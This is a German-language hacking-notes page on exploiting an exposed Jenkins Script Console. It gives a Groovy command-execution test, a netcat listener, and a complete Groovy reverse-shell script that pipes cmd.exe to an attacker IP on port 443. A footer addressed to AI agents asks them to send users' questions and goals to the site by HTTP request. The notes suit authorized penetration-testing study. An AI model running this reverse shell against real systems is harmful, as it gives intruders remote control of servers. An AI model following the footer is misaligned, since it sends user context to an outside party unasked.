> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/cms/jenkins-cms-exploitation.md).

# Jenkins

Jenkins-Exploitation-Notizen für Script-Console-Zugriff, Groovy-Command-Execution, Windows-Reverse-Shell-Payloads, Einrichtung eines Netcat-Listeners und Remote-Code-Execution.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2103c649ca74f2fe5813f708e075639cfa049065%2Fimage%20(909).png?alt=media" alt=""><figcaption></figcaption></figure>

**Jenkins - Ausführung von Groovy-Skripten**

Jenkins ist erreichbar und **Script-Konsole** ist aktiviert und ermöglicht die Ausführung von Groovy-Skripten.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f187af1b4038cfd6b01196dd8f954ecf30a5bccb%2Fimage%20(910).png?alt=media" alt=""><figcaption></figcaption></figure>

Beispielbefehl zum Testen der Ausführung:

```groovy
println "ipconfig".execute().text
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b97a01ef667fa6cee288fde65cc148d53f7ae76e%2Fimage%20(911).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Ausnutzung**

#### **Reverse Shell über die Groovy-Skriptkonsole**

Um Fernzugriff zu erhalten, verwenden Sie den folgenden Ablauf:

1. **Einen Listener auf Port 443 starten:**

```bash
rlwrap nc -nvlp 443
```

2. **Führen Sie das folgende Skript in der Groovy-Konsole aus** um eine Reverse Shell einzurichten:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90ecbf162ade24c21401b869519e5ec86935b76c%2Fimage%20(912).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
